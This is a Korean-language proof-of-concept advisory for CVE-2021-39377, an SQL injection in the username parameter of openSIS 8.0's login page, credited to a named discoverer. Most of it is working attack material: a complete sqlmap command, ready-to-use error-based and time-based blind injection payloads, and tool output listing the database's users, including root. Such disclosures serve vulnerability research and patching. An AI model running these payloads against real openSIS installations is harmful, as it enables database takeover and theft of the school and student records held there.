
CVE-2021-39377에 대한 개념 증명으로, openSIS 8.0에서 username 매개변수를 통한 SQL 인젝션 취약점으로, 오류 기반 및 시간 기반 블라인드 공격을 통해 데이터베이스를 장악할 수 있습니다.
openSIS 8.0 버전에서 MySQL (MariaDB)을 애플리케이션 데이터베이스로 사용할 때 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 취약한 username= 매개변수를 통해 MySQL (MariaDB) 데이터베이스에 SQL 명령을 실행할 수 있습니다.
취약한 PHP 페이지:
index.php - username 매개변수
취약한 페이로드
sqlmap "http://localhost:8081/index.php" --users --data="USERNAME=admin&PASSWORD=test1234%21&language=en&log=" --dbms="MySQL" --level=3 --risk=2
SQL 인젝션:
http://localhost:8081/index.php
Parameter: USERNAME (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: USERNAME=admin') AND (SELECT 4391 FROM(SELECT COUNT(*),CONCAT(0x71716b7071,(SELECT (ELT(4391=4391,1))),0x716b717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IzoO&PASSWORD=test1234!&language=en&log=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: USERNAME=admin') AND (SELECT 2137 FROM (SELECT(SLEEP(5)))BwzJ)-- sbsL&PASSWORD=test1234!&language=en&log=
[22:35:47] [INFO] testing MySQL
[22:35:47] [INFO] confirming MySQL
[22:35:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:35:47] [INFO] fetching database users
database management system users [3]:
[*] 'mariadb.sys'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'localhost'
발견자: Nathan Johnson, 2021년 8월